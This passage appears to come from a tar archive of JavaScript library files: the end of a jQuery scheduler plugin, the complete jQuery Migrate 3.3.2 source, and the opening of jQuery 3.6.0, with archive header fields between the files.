arguments[1]=="object"){for(var option in arguments[0]) if(typeof ctx[option]!="undefined"&&typeof arguments[1][option]=="undefined") ctx[option]=arguments[0][option];} else{for(var option in arguments[0]) if(typeof ctx[option]!="undefined") ctx[option]=arguments[0][option];} i++;} ctx["_scheduler"]=this;ctx["_handle"]=null;var match=String(ctx["time"]).match(RegExp("^([0-9]+)([smhdw])$"));if(match&&match[0]!="undefined"&&match[1]!="undefined") ctx["time"]=String(parseInt(match[1])*{s:1000,m:1000*60,h:1000*60*60,d:1000*60*60*24,w:1000*60*60*24*7}[match[2]]);if(ctx["id"]==null) ctx["id"]=(String(ctx["repeat"])+":" +String(ctx["protect"])+":" +String(ctx["time"])+":" +String(ctx["obj"])+":" +String(ctx["func"])+":" +String(ctx["args"]));if(ctx["protect"]) if(typeof this.bucket[ctx["id"]]!="undefined") return this.bucket[ctx["id"]];if(!_isfn(ctx["func"])){if(ctx["obj"]!=null&&typeof ctx["obj"]=="object"&&typeof ctx["func"]=="string"&&_isfn(ctx["obj"][ctx["func"]])) ctx["func"]=ctx["obj"][ctx["func"]];else ctx["func"]=eval("function () { "+ctx["func"]+" }");} ctx["_handle"]=this._schedule(ctx);this.bucket[ctx["id"]]=ctx;return ctx;},reschedule:function(ctx){if(typeof ctx=="string") ctx=this.bucket[ctx];ctx["_handle"]=this._schedule(ctx);return ctx;},_schedule:function(ctx){var trampoline=function(){var obj=(ctx["obj"]!=null?ctx["obj"]:ctx);(ctx["func"]).apply(obj,ctx["args"]);if(typeof(ctx["_scheduler"]).bucket[ctx["id"]]!="undefined"&&ctx["repeat"]) (ctx["_scheduler"])._schedule(ctx);else delete(ctx["_scheduler"]).bucket[ctx["id"]];};return setTimeout(trampoline,ctx["time"]);},cancel:function(ctx){if(typeof ctx=="string") ctx=this.bucket[ctx];if(typeof ctx=="object"){clearTimeout(ctx["_handle"]);delete this.bucket[ctx["id"]];}}};$.extend({scheduler$:new $.scheduler(),schedule:function(){return $.scheduler$.schedule.apply($.scheduler$,arguments)},reschedule:function(){return $.scheduler$.reschedule.apply($.scheduler$,arguments)},cancel:function(){return $.scheduler$.cancel.apply($.scheduler$,arguments)}});$.fn.extend({schedule:function(){var a=[{}];for(var i=0;i<arguments.length;i++) a.push(arguments[i]);return this.each(function(){a[0]={"id":this,"obj":this};return $.schedule.apply($,a);});}});})(jQuery);�������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery-migrate.js�������������������������������������������������������������������������0000644�����������������00000061324�14717703502�0012016 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery Migrate - v3.3.2 - 2020-11-18T08:29Z * Copyright OpenJS Foundation and other contributors */ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery" ], function( jQuery ) { return factory( jQuery, window ); } ); } else if ( typeof module === "object" && module.exports ) { // Node/CommonJS // eslint-disable-next-line no-undef module.exports = factory( require( "jquery" ), window ); } else { // Browser globals factory( jQuery, window ); } } )( function( jQuery, window ) { "use strict"; jQuery.migrateVersion = "3.3.2"; // Returns 0 if v1 == v2, -1 if v1 < v2, 1 if v1 > v2 function compareVersions( v1, v2 ) { var i, rVersionParts = /^(\d+)\.(\d+)\.(\d+)/, v1p = rVersionParts.exec( v1 ) || [ ], v2p = rVersionParts.exec( v2 ) || [ ]; for ( i = 1; i <= 3; i++ ) { if ( +v1p[ i ] > +v2p[ i ] ) { return 1; } if ( +v1p[ i ] < +v2p[ i ] ) { return -1; } } return 0; } function jQueryVersionSince( version ) { return compareVersions( jQuery.fn.jquery, version ) >= 0; } ( function() { // Support: IE9 only // IE9 only creates console object when dev tools are first opened // IE9 console is a host object, callable but doesn't have .apply() if ( !window.console || !window.console.log ) { return; } // Need jQuery 3.0.0+ and no older Migrate loaded if ( !jQuery || !jQueryVersionSince( "3.0.0" ) ) { window.console.log( "JQMIGRATE: jQuery 3.0.0+ REQUIRED" ); } if ( jQuery.migrateWarnings ) { window.console.log( "JQMIGRATE: Migrate plugin loaded multiple times" ); } // Show a message on the console so devs know we're active window.console.log( "JQMIGRATE: Migrate is installed" + ( jQuery.migrateMute ? "" : " with logging active" ) + ", version " + jQuery.migrateVersion ); } )(); var warnedAbout = {}; // By default each warning is only reported once. jQuery.migrateDeduplicateWarnings = true; // List of warnings already given; public read only jQuery.migrateWarnings = []; // Set to false to disable traces that appear with warnings if ( jQuery.migrateTrace === undefined ) { jQuery.migrateTrace = true; } // Forget any warnings we've already given; public jQuery.migrateReset = function() { warnedAbout = {}; jQuery.migrateWarnings.length = 0; }; function migrateWarn( msg ) { var console = window.console; if ( !jQuery.migrateDeduplicateWarnings || !warnedAbout[ msg ] ) { warnedAbout[ msg ] = true; jQuery.migrateWarnings.push( msg ); if ( console && console.warn && !jQuery.migrateMute ) { console.warn( "JQMIGRATE: " + msg ); if ( jQuery.migrateTrace && console.trace ) { console.trace(); } } } } function migrateWarnProp( obj, prop, value, msg ) { Object.defineProperty( obj, prop, { configurable: true, enumerable: true, get: function() { migrateWarn( msg ); return value; }, set: function( newValue ) { migrateWarn( msg ); value = newValue; } } ); } function migrateWarnFunc( obj, prop, newFunc, msg ) { obj[ prop ] = function() { migrateWarn( msg ); return newFunc.apply( this, arguments ); }; } if ( window.document.compatMode === "BackCompat" ) { // JQuery has never supported or tested Quirks Mode migrateWarn( "jQuery is not compatible with Quirks Mode" ); } var findProp, class2type = {}, oldInit = jQuery.fn.init, oldFind = jQuery.find, rattrHashTest = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/, rattrHashGlob = /\[(\s*[-\w]+\s*)([~|^$*]?=)\s*([-\w#]*?#[-\w#]*)\s*\]/g, // Support: Android <=4.0 only // Make sure we trim BOM and NBSP rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g; jQuery.fn.init = function( arg1 ) { var args = Array.prototype.slice.call( arguments ); if ( typeof arg1 === "string" && arg1 === "#" ) { // JQuery( "#" ) is a bogus ID selector, but it returned an empty set before jQuery 3.0 migrateWarn( "jQuery( '#' ) is not a valid selector" ); args[ 0 ] = []; } return oldInit.apply( this, args ); }; jQuery.fn.init.prototype = jQuery.fn; jQuery.find = function( selector ) { var args = Array.prototype.slice.call( arguments ); // Support: PhantomJS 1.x // String#match fails to match when used with a //g RegExp, only on some strings if ( typeof selector === "string" && rattrHashTest.test( selector ) ) { // The nonstandard and undocumented unquoted-hash was removed in jQuery 1.12.0 // First see if qS thinks it's a valid selector, if so avoid a false positive try { window.document.querySelector( selector ); } catch ( err1 ) { // Didn't *look* valid to qSA, warn and try quoting what we think is the value selector = selector.replace( rattrHashGlob, function( _, attr, op, value ) { return "[" + attr + op + "\"" + value + "\"]"; } ); // If the regexp *may* have created an invalid selector, don't update it // Note that there may be false alarms if selector uses jQuery extensions try { window.document.querySelector( selector ); migrateWarn( "Attribute selector with '#' must be quoted: " + args[ 0 ] ); args[ 0 ] = selector; } catch ( err2 ) { migrateWarn( "Attribute selector with '#' was not fixed: " + args[ 0 ] ); } } } return oldFind.apply( this, args ); }; // Copy properties attached to original jQuery.find method (e.g. .attr, .isXML) for ( findProp in oldFind ) { if ( Object.prototype.hasOwnProperty.call( oldFind, findProp ) ) { jQuery.find[ findProp ] = oldFind[ findProp ]; } } // The number of elements contained in the matched element set migrateWarnFunc( jQuery.fn, "size", function() { return this.length; }, "jQuery.fn.size() is deprecated and removed; use the .length property" ); migrateWarnFunc( jQuery, "parseJSON", function() { return JSON.parse.apply( null, arguments ); }, "jQuery.parseJSON is deprecated; use JSON.parse" ); migrateWarnFunc( jQuery, "holdReady", jQuery.holdReady, "jQuery.holdReady is deprecated" ); migrateWarnFunc( jQuery, "unique", jQuery.uniqueSort, "jQuery.unique is deprecated; use jQuery.uniqueSort" ); // Now jQuery.expr.pseudos is the standard incantation migrateWarnProp( jQuery.expr, "filters", jQuery.expr.pseudos, "jQuery.expr.filters is deprecated; use jQuery.expr.pseudos" ); migrateWarnProp( jQuery.expr, ":", jQuery.expr.pseudos, "jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos" ); // Prior to jQuery 3.1.1 there were internal refs so we don't warn there if ( jQueryVersionSince( "3.1.1" ) ) { migrateWarnFunc( jQuery, "trim", function( text ) { return text == null ? "" : ( text + "" ).replace( rtrim, "" ); }, "jQuery.trim is deprecated; use String.prototype.trim" ); } // Prior to jQuery 3.2 there were internal refs so we don't warn there if ( jQueryVersionSince( "3.2.0" ) ) { migrateWarnFunc( jQuery, "nodeName", function( elem, name ) { return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase(); }, "jQuery.nodeName is deprecated" ); migrateWarnFunc( jQuery, "isArray", Array.isArray, "jQuery.isArray is deprecated; use Array.isArray" ); } if ( jQueryVersionSince( "3.3.0" ) ) { migrateWarnFunc( jQuery, "isNumeric", function( obj ) { // As of jQuery 3.0, isNumeric is limited to // strings and numbers (primitives or objects) // that can be coerced to finite numbers (gh-2662) var type = typeof obj; return ( type === "number" || type === "string" ) && // parseFloat NaNs numeric-cast false positives ("") // ...but misinterprets leading-number strings, e.g. hex literals ("0x...") // subtraction forces infinities to NaN !isNaN( obj - parseFloat( obj ) ); }, "jQuery.isNumeric() is deprecated" ); // Populate the class2type map jQuery.each( "Boolean Number String Function Array Date RegExp Object Error Symbol". split( " " ), function( _, name ) { class2type[ "[object " + name + "]" ] = name.toLowerCase(); } ); migrateWarnFunc( jQuery, "type", function( obj ) { if ( obj == null ) { return obj + ""; } // Support: Android <=2.3 only (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ Object.prototype.toString.call( obj ) ] || "object" : typeof obj; }, "jQuery.type is deprecated" ); migrateWarnFunc( jQuery, "isFunction", function( obj ) { return typeof obj === "function"; }, "jQuery.isFunction() is deprecated" ); migrateWarnFunc( jQuery, "isWindow", function( obj ) { return obj != null && obj === obj.window; }, "jQuery.isWindow() is deprecated" ); } // Support jQuery slim which excludes the ajax module if ( jQuery.ajax ) { var oldAjax = jQuery.ajax, rjsonp = /(=)\?(?=&|$)|\?\?/; jQuery.ajax = function( ) { var jQXHR = oldAjax.apply( this, arguments ); // Be sure we got a jQXHR (e.g., not sync) if ( jQXHR.promise ) { migrateWarnFunc( jQXHR, "success", jQXHR.done, "jQXHR.success is deprecated and removed" ); migrateWarnFunc( jQXHR, "error", jQXHR.fail, "jQXHR.error is deprecated and removed" ); migrateWarnFunc( jQXHR, "complete", jQXHR.always, "jQXHR.complete is deprecated and removed" ); } return jQXHR; }; // Only trigger the logic in jQuery <4 as the JSON-to-JSONP auto-promotion // behavior is gone in jQuery 4.0 and as it has security implications, we don't // want to restore the legacy behavior. if ( !jQueryVersionSince( "4.0.0" ) ) { // Register this prefilter before the jQuery one. Otherwise, a promoted // request is transformed into one with the script dataType and we can't // catch it anymore. jQuery.ajaxPrefilter( "+json", function( s ) { // Warn if JSON-to-JSONP auto-promotion happens. if ( s.jsonp !== false && ( rjsonp.test( s.url ) || typeof s.data === "string" && ( s.contentType || "" ) .indexOf( "application/x-www-form-urlencoded" ) === 0 && rjsonp.test( s.data ) ) ) { migrateWarn( "JSON-to-JSONP auto-promotion is deprecated" ); } } ); } } var oldRemoveAttr = jQuery.fn.removeAttr, oldToggleClass = jQuery.fn.toggleClass, rmatchNonSpace = /\S+/g; jQuery.fn.removeAttr = function( name ) { var self = this; jQuery.each( name.match( rmatchNonSpace ), function( _i, attr ) { if ( jQuery.expr.match.bool.test( attr ) ) { migrateWarn( "jQuery.fn.removeAttr no longer sets boolean properties: " + attr ); self.prop( attr, false ); } } ); return oldRemoveAttr.apply( this, arguments ); }; jQuery.fn.toggleClass = function( state ) { // Only deprecating no-args or single boolean arg if ( state !== undefined && typeof state !== "boolean" ) { return oldToggleClass.apply( this, arguments ); } migrateWarn( "jQuery.fn.toggleClass( boolean ) is deprecated" ); // Toggle entire class name of each element return this.each( function() { var className = this.getAttribute && this.getAttribute( "class" ) || ""; if ( className ) { jQuery.data( this, "__className__", className ); } // If the element has a class name or if we're passed `false`, // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. if ( this.setAttribute ) { this.setAttribute( "class", className || state === false ? "" : jQuery.data( this, "__className__" ) || "" ); } } ); }; function camelCase( string ) { return string.replace( /-([a-z])/g, function( _, letter ) { return letter.toUpperCase(); } ); } var oldFnCss, internalSwapCall = false, ralphaStart = /^[a-z]/, // The regex visualized: // // /----------\ // | | /-------\ // | / Top \ | | | // /--- Border ---+-| Right |-+---+- Width -+---\ // | | Bottom | | // | \ Left / | // | | // | /----------\ | // | /-------------\ | | |- END // | | | | / Top \ | | // | | / Margin \ | | | Right | | | // |---------+-| |-+---+-| Bottom |-+----| // | \ Padding / \ Left / | // BEGIN -| | // | /---------\ | // | | | | // | | / Min \ | / Width \ | // \--------------+-| |-+---| |---/ // \ Max / \ Height / rautoPx = /^(?:Border(?:Top|Right|Bottom|Left)?(?:Width|)|(?:Margin|Padding)?(?:Top|Right|Bottom|Left)?|(?:Min|Max)?(?:Width|Height))$/; // If this version of jQuery has .swap(), don't false-alarm on internal uses if ( jQuery.swap ) { jQuery.each( [ "height", "width", "reliableMarginRight" ], function( _, name ) { var oldHook = jQuery.cssHooks[ name ] && jQuery.cssHooks[ name ].get; if ( oldHook ) { jQuery.cssHooks[ name ].get = function() { var ret; internalSwapCall = true; ret = oldHook.apply( this, arguments ); internalSwapCall = false; return ret; }; } } ); } jQuery.swap = function( elem, options, callback, args ) { var ret, name, old = {}; if ( !internalSwapCall ) { migrateWarn( "jQuery.swap() is undocumented and deprecated" ); } // Remember the old values, and insert the new ones for ( name in options ) { old[ name ] = elem.style[ name ]; elem.style[ name ] = options[ name ]; } ret = callback.apply( elem, args || [] ); // Revert the old values for ( name in options ) { elem.style[ name ] = old[ name ]; } return ret; }; if ( jQueryVersionSince( "3.4.0" ) && typeof Proxy !== "undefined" ) { jQuery.cssProps = new Proxy( jQuery.cssProps || {}, { set: function() { migrateWarn( "JQMIGRATE: jQuery.cssProps is deprecated" ); return Reflect.set.apply( this, arguments ); } } ); } // Create a dummy jQuery.cssNumber if missing. It won't be used by jQuery but // it will prevent code adding new keys to it unconditionally from crashing. if ( !jQuery.cssNumber ) { jQuery.cssNumber = {}; } function isAutoPx( prop ) { // The first test is used to ensure that: // 1. The prop starts with a lowercase letter (as we uppercase it for the second regex). // 2. The prop is not empty. return ralphaStart.test( prop ) && rautoPx.test( prop[ 0 ].toUpperCase() + prop.slice( 1 ) ); } oldFnCss = jQuery.fn.css; jQuery.fn.css = function( name, value ) { var camelName, origThis = this; if ( name && typeof name === "object" && !Array.isArray( name ) ) { jQuery.each( name, function( n, v ) { jQuery.fn.css.call( origThis, n, v ); } ); return this; } if ( typeof value === "number" ) { camelName = camelCase( name ); if ( !isAutoPx( camelName ) && !jQuery.cssNumber[ camelName ] ) { migrateWarn( "Number-typed values are deprecated for jQuery.fn.css( \"" + name + "\", value )" ); } } return oldFnCss.apply( this, arguments ); }; var oldData = jQuery.data; jQuery.data = function( elem, name, value ) { var curData, sameKeys, key; // Name can be an object, and each entry in the object is meant to be set as data if ( name && typeof name === "object" && arguments.length === 2 ) { curData = jQuery.hasData( elem ) && oldData.call( this, elem ); sameKeys = {}; for ( key in name ) { if ( key !== camelCase( key ) ) { migrateWarn( "jQuery.data() always sets/gets camelCased names: " + key ); curData[ key ] = name[ key ]; } else { sameKeys[ key ] = name[ key ]; } } oldData.call( this, elem, sameKeys ); return name; } // If the name is transformed, look for the un-transformed name in the data object if ( name && typeof name === "string" && name !== camelCase( name ) ) { curData = jQuery.hasData( elem ) && oldData.call( this, elem ); if ( curData && name in curData ) { migrateWarn( "jQuery.data() always sets/gets camelCased names: " + name ); if ( arguments.length > 2 ) { curData[ name ] = value; } return curData[ name ]; } } return oldData.apply( this, arguments ); }; // Support jQuery slim which excludes the effects module if ( jQuery.fx ) { var intervalValue, intervalMsg, oldTweenRun = jQuery.Tween.prototype.run, linearEasing = function( pct ) { return pct; }; jQuery.Tween.prototype.run = function( ) { if ( jQuery.easing[ this.easing ].length > 1 ) { migrateWarn( "'jQuery.easing." + this.easing.toString() + "' should use only one argument" ); jQuery.easing[ this.easing ] = linearEasing; } oldTweenRun.apply( this, arguments ); }; intervalValue = jQuery.fx.interval || 13; intervalMsg = "jQuery.fx.interval is deprecated"; // Support: IE9, Android <=4.4 // Avoid false positives on browsers that lack rAF // Don't warn if document is hidden, jQuery uses setTimeout (#292) if ( window.requestAnimationFrame ) { Object.defineProperty( jQuery.fx, "interval", { configurable: true, enumerable: true, get: function() { if ( !window.document.hidden ) { migrateWarn( intervalMsg ); } return intervalValue; }, set: function( newValue ) { migrateWarn( intervalMsg ); intervalValue = newValue; } } ); } } var oldLoad = jQuery.fn.load, oldEventAdd = jQuery.event.add, originalFix = jQuery.event.fix; jQuery.event.props = []; jQuery.event.fixHooks = {}; migrateWarnProp( jQuery.event.props, "concat", jQuery.event.props.concat, "jQuery.event.props.concat() is deprecated and removed" ); jQuery.event.fix = function( originalEvent ) { var event, type = originalEvent.type, fixHook = this.fixHooks[ type ], props = jQuery.event.props; if ( props.length ) { migrateWarn( "jQuery.event.props are deprecated and removed: " + props.join() ); while ( props.length ) { jQuery.event.addProp( props.pop() ); } } if ( fixHook && !fixHook._migrated_ ) { fixHook._migrated_ = true; migrateWarn( "jQuery.event.fixHooks are deprecated and removed: " + type ); if ( ( props = fixHook.props ) && props.length ) { while ( props.length ) { jQuery.event.addProp( props.pop() ); } } } event = originalFix.call( this, originalEvent ); return fixHook && fixHook.filter ? fixHook.filter( event, originalEvent ) : event; }; jQuery.event.add = function( elem, types ) { // This misses the multiple-types case but that seems awfully rare if ( elem === window && types === "load" && window.document.readyState === "complete" ) { migrateWarn( "jQuery(window).on('load'...) called after load event occurred" ); } return oldEventAdd.apply( this, arguments ); }; jQuery.each( [ "load", "unload", "error" ], function( _, name ) { jQuery.fn[ name ] = function() { var args = Array.prototype.slice.call( arguments, 0 ); // If this is an ajax load() the first arg should be the string URL; // technically this could also be the "Anything" arg of the event .load() // which just goes to show why this dumb signature has been deprecated! // jQuery custom builds that exclude the Ajax module justifiably die here. if ( name === "load" && typeof args[ 0 ] === "string" ) { return oldLoad.apply( this, args ); } migrateWarn( "jQuery.fn." + name + "() is deprecated" ); args.splice( 0, 0, name ); if ( arguments.length ) { return this.on.apply( this, args ); } // Use .triggerHandler here because: // - load and unload events don't need to bubble, only applied to window or image // - error event should not bubble to window, although it does pre-1.7 // See http://bugs.jquery.com/ticket/11820 this.triggerHandler.apply( this, args ); return this; }; } ); jQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " + "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " + "change select submit keydown keypress keyup contextmenu" ).split( " " ), function( _i, name ) { // Handle event binding jQuery.fn[ name ] = function( data, fn ) { migrateWarn( "jQuery.fn." + name + "() event shorthand is deprecated" ); return arguments.length > 0 ? this.on( name, null, data, fn ) : this.trigger( name ); }; } ); // Trigger "ready" event only once, on document ready jQuery( function() { jQuery( window.document ).triggerHandler( "ready" ); } ); jQuery.event.special.ready = { setup: function() { if ( this === window.document ) { migrateWarn( "'ready' event is deprecated" ); } } }; jQuery.fn.extend( { bind: function( types, data, fn ) { migrateWarn( "jQuery.fn.bind() is deprecated" ); return this.on( types, null, data, fn ); }, unbind: function( types, fn ) { migrateWarn( "jQuery.fn.unbind() is deprecated" ); return this.off( types, null, fn ); }, delegate: function( selector, types, data, fn ) { migrateWarn( "jQuery.fn.delegate() is deprecated" ); return this.on( types, selector, data, fn ); }, undelegate: function( selector, types, fn ) { migrateWarn( "jQuery.fn.undelegate() is deprecated" ); return arguments.length === 1 ? this.off( selector, "**" ) : this.off( types, selector || "**", fn ); }, hover: function( fnOver, fnOut ) { migrateWarn( "jQuery.fn.hover() is deprecated" ); return this.on( "mouseenter", fnOver ).on( "mouseleave", fnOut || fnOver ); } } ); var rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi, origHtmlPrefilter = jQuery.htmlPrefilter, makeMarkup = function( html ) { var doc = window.document.implementation.createHTMLDocument( "" ); doc.body.innerHTML = html; return doc.body && doc.body.innerHTML; }, warnIfChanged = function( html ) { var changed = html.replace( rxhtmlTag, "<$1></$2>" ); if ( changed !== html && makeMarkup( html ) !== makeMarkup( changed ) ) { migrateWarn( "HTML tags must be properly nested and closed: " + html ); } }; jQuery.UNSAFE_restoreLegacyHtmlPrefilter = function() { jQuery.htmlPrefilter = function( html ) { warnIfChanged( html ); return html.replace( rxhtmlTag, "<$1></$2>" ); }; }; jQuery.htmlPrefilter = function( html ) { warnIfChanged( html ); return origHtmlPrefilter( html ); }; var oldOffset = jQuery.fn.offset; jQuery.fn.offset = function() { var elem = this[ 0 ]; if ( elem && ( !elem.nodeType || !elem.getBoundingClientRect ) ) { migrateWarn( "jQuery.fn.offset() requires a valid DOM element" ); return arguments.length ? this : undefined; } return oldOffset.apply( this, arguments ); }; // Support jQuery slim which excludes the ajax module // The jQuery.param patch is about respecting `jQuery.ajaxSettings.traditional` // so it doesn't make sense for the slim build. if ( jQuery.ajax ) { var oldParam = jQuery.param; jQuery.param = function( data, traditional ) { var ajaxTraditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional; if ( traditional === undefined && ajaxTraditional ) { migrateWarn( "jQuery.param() no longer uses jQuery.ajaxSettings.traditional" ); traditional = ajaxTraditional; } return oldParam.call( this, data, traditional ); }; } var oldSelf = jQuery.fn.andSelf || jQuery.fn.addBack; jQuery.fn.andSelf = function() { migrateWarn( "jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()" ); return oldSelf.apply( this, arguments ); }; // Support jQuery slim which excludes the deferred module in jQuery 4.0+ if ( jQuery.Deferred ) { var oldDeferred = jQuery.Deferred, tuples = [ // Action, add listener, callbacks, .then handlers, final state [ "resolve", "done", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), "resolved" ], [ "reject", "fail", jQuery.Callbacks( "once memory" ), jQuery.Callbacks( "once memory" ), "rejected" ], [ "notify", "progress", jQuery.Callbacks( "memory" ), jQuery.Callbacks( "memory" ) ] ]; jQuery.Deferred = function( func ) { var deferred = oldDeferred(), promise = deferred.promise(); deferred.pipe = promise.pipe = function( /* fnDone, fnFail, fnProgress */ ) { var fns = arguments; migrateWarn( "deferred.pipe() is deprecated" ); return jQuery.Deferred( function( newDefer ) { jQuery.each( tuples, function( i, tuple ) { var fn = typeof fns[ i ] === "function" && fns[ i ]; // Deferred.done(function() { bind to newDefer or newDefer.resolve }) // deferred.fail(function() { bind to newDefer or newDefer.reject }) // deferred.progress(function() { bind to newDefer or newDefer.notify }) deferred[ tuple[ 1 ] ]( function() { var returned = fn && fn.apply( this, arguments ); if ( returned && typeof returned.promise === "function" ) { returned.promise() .done( newDefer.resolve ) .fail( newDefer.reject ) .progress( newDefer.notify ); } else { newDefer[ tuple[ 0 ] + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments ); } } ); } ); fns = null; } ).promise(); }; if ( func ) { func.call( deferred, deferred ); } return deferred; }; // Preserve handler of uncaught exceptions in promise chains jQuery.Deferred.exceptionHook = oldDeferred.exceptionHook; } return jQuery; } ); ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.js���������������������������������������������������������������������������������0000644�����������������00001063530�14717703502�0010372 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery JavaScript Library v3.6.0 * https://jquery.com/ * * Includes Sizzle.js * https://sizzlejs.com/ * * Copyright OpenJS Foundation and other contributors * Released under the MIT license * https://jquery.org/license * * Date: 2021-03-02T17:08Z */ ( function( global, factory ) { "use strict"; if ( typeof module === "object" && typeof module.exports === "object" ) { // For CommonJS and CommonJS-like environments where a proper `window` // is present, execute the factory and get jQuery. // For environments that do not have a `window` with a `document` // (such as Node.js), expose a factory as module.exports. // This accentuates the need for the creation of a real `window`. // e.g. var jQuery = require("jquery")(window); // See ticket #14549 for more info. module.exports = global.document ? factory( global, true ) : function( w ) { if ( !w.document ) { throw new Error( "jQuery requires a window with a document" ); } return factory( w ); }; } else { factory( global ); } // Pass this if window is not defined yet } )( typeof window !== "undefined" ? window : this, function( window, noGlobal ) { // Edge <= 12 - 13+, Firefox <=18 - 45+, IE 10 - 11, Safari 5.1 - 9+, iOS 6 - 9.1 // throw exceptions when non-strict code (e.g., ASP.NET 4.5) accesses strict mode // arguments.callee.caller (trac-13335). But as of jQuery 3.0 (2016), strict mode should be common // enough that all such attempts are guarded in a try block. "use strict"; var arr = []; var getProto = Object.getPrototypeOf; var slice = arr.slice; var flat = arr.flat ? function( array ) { return arr.flat.call( array ); } : function( array ) { return arr.concat.apply( [], array ); }; var push = arr.push; var indexOf = arr.indexOf; var class2type = {}; var toString = class2type.toString; var hasOwn = class2type.hasOwnProperty; var fnToString = hasOwn.toString; var ObjectFunctionString = fnToString.call( Object ); var support = {}; var isFunction = function isFunction( obj ) { // Support: Chrome <=57, Firefox <=52 // In some browsers, typeof returns "function" for HTML <object> elements // (i.e., `typeof document.createElement( "object" ) === "function"`). // We don't want to classify *any* DOM node as a function. // Support: QtWeb <=3.8.5, WebKit <=534.34, wkhtmltopdf tool <=0.12.5 // Plus for old WebKit, typeof returns "function" for HTML collections // (e.g., `typeof document.getElementsByTagName("div") === "function"`). (gh-4756) return typeof obj === "function" && typeof obj.nodeType !== "number" && typeof obj.item !== "function"; }; var isWindow = function isWindow( obj ) { return obj != null && obj === obj.window; }; var document = window.document; var preservedScriptAttributes = { type: true, src: true, nonce: true, noModule: true }; function DOMEval( code, node, doc ) { doc = doc || document; var i, val, script = doc.createElement( "script" ); script.text = code; if ( node ) { for ( i in preservedScriptAttributes ) { // Support: Firefox 64+, Edge 18+ // Some browsers don't support the "nonce" property on scripts. // On the other hand, just using `getAttribute` is not enough as // the `nonce` attribute is reset to an empty string whenever it // becomes browsing-context connected. // See https://github.com/whatwg/html/issues/2369 // See https://html.spec.whatwg.org/#nonce-attributes // The `node.getAttribute` check was added for the sake of // `jQuery.globalEval` so that it can fake a nonce-containing node // via an object. val = node[ i ] || node.getAttribute && node.getAttribute( i ); if ( val ) { script.setAttribute( i, val ); } } } doc.head.appendChild( script ).parentNode.removeChild( script ); } function toType( obj ) { if ( obj == null ) { return obj + ""; } // Support: Android <=2.3 only (functionish RegExp) return typeof obj === "object" || typeof obj === "function" ? class2type[ toString.call( obj ) ] || "object" : typeof obj; } /* global Symbol */ // Defining this global in .eslintrc.json would create a danger of using the global // unguarded in another place, it seems safer to define global only for this module var version = "3.6.0", // Define a local copy of jQuery jQuery = function( selector, context ) { // The jQuery object is actually just the init constructor 'enhanced' // Need init if jQuery is called (just allow error to be thrown if not included) return new jQuery.fn.init( selector, context ); }; jQuery.fn = jQuery.prototype = { // The current version of jQuery being used jquery: version, constructor: jQuery, // The default length of a jQuery object is 0 length: 0, toArray: function() { return slice.call( this ); }, // Get the Nth element in the matched element set OR // Get the whole matched element set as a clean array get: function( num ) { // Return all the elements in a clean array if ( num == null ) { return slice.call( this ); } // Return just the one element from the set return num < 0 ? this[ num + this.length ] : this[ num ]; }, // Take an array of elements and push it onto the stack // (returning the new matched element set) pushStack: function( elems ) { // Build a new jQuery matched element set var ret = jQuery.merge( this.constructor(), elems ); // Add the old object onto the stack (as a reference) ret.prevObject = this; // Return the newly-formed element set return ret; }, // Execute a callback for every element in the matched set. each: function( callback ) { return jQuery.each( this, callback ); }, map: function( callback ) { return this.pushStack( jQuery.map( this, function( elem, i ) { return callback.call( elem, i, elem ); } ) ); }, slice: function() { return this.pushStack( slice.apply( this, arguments ) ); }, first: function() { return this.eq( 0 ); }, last: function() { return this.eq( -1 ); }, even: function() { return this.pushStack( jQuery.grep( this, function( _elem, i ) { return ( i + 1 ) % 2; } ) ); }, odd: function() { return this.pushStack( jQuery.grep( this, function( _elem, i ) { return i % 2; } ) ); }, eq: function( i ) { var len = this.length, j = +i + ( i < 0 ? len : 0 ); return this.pushStack( j >= 0 && j < len ? [ this[ j ] ] : [] ); }, end: function() { return this.prevObject || this.constructor(); }, // For internal use only. // Behaves like an Array's method, not like a jQuery method. push: push, sort: arr.sort, splice: arr.splice }; jQuery.extend = jQuery.fn.extend = function() { var options, name, src, copy, copyIsArray, clone, target = arguments[ 0 ] || {}, i = 1, length = arguments.length, deep = false; // Handle a deep copy situation if ( typeof target === "boolean" ) { deep = target; // Skip the boolean and the target target = arguments[ i ] || {}; i++; } // Handle case when target is a string or something (possible in deep copy) if ( typeof target !== "object" && !isFunction( target ) ) { target = {}; } // Extend jQuery itself if only one argument is passed if ( i === length ) { target = this; i--; } for ( ; i < length; i++ ) { // Only deal with non-null/undefined values if ( ( options = arguments[ i ] ) != null ) { // Extend the base object for ( name in options ) { copy = options[ name ]; // Prevent Object.prototype pollution // Prevent never-ending loop if ( name === "__proto__" || target === copy ) { continue; } // Recurse if we're merging plain objects or arrays if ( deep && copy && ( jQuery.isPlainObject( copy ) || ( copyIsArray = Array.isArray( copy ) ) ) ) { src = target[ name ]; // Ensure proper type for the source value if ( copyIsArray && !Array.isArray( src ) ) { clone = []; } else if ( !copyIsArray && !jQuery.isPlainObject( src ) ) { clone = {}; } else { clone = src; } copyIsArray = false; // Never move original objects, clone them target[ name ] = jQuery.extend( deep, clone, copy ); // Don't bring in undefined values } else if 